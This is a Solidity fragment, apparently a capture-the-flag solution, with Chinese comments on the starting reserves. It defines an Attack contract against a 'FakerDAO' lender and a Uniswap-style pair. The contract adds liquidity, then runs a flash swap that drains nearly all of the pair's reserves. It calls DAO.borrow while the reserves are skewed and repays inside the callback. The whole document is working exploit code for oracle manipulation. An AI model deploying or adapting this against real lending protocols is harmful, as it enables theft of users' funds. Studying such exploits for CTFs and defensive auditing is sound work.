function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}

//pair初始:amount0和amount1和_totalSupply都是1000000*10 **18
//我手中有5000 YIN and 5000 YANG
contract Attack{
FakerDAO DAO;
Pair pair;
constructor(address _DAO,address _pair){
pair=Pair(_pair);
DAO=FakerDAO(_DAO);
}
function attack()public{
address token0 = Pair(pair).token0();
address token1 = Pair(pair).token1();
address Router=$.UniswapV2_ROUTER02;
ERC20(token0).approve(Router,2**255);
ERC20(token1).approve(Router,2**255);
pair.approve(address(DAO),2**255);
IUniswapV2Router(Router).addLiquidity(token0,token1,1000*10**18,1000*10**18,1,1,address(this),999999999999);
pair.swap(1000999*10**18,1,address(this),"0x00");
}
function uniswapV2Call(address a,uint amount0Out,uint amount1Out,bytes calldata data)public{
DAO.borrow(100);
address token0 = Pair(pair).token0();
ERC20(token0).transfer(address(pair),1003000*10**18);
}
}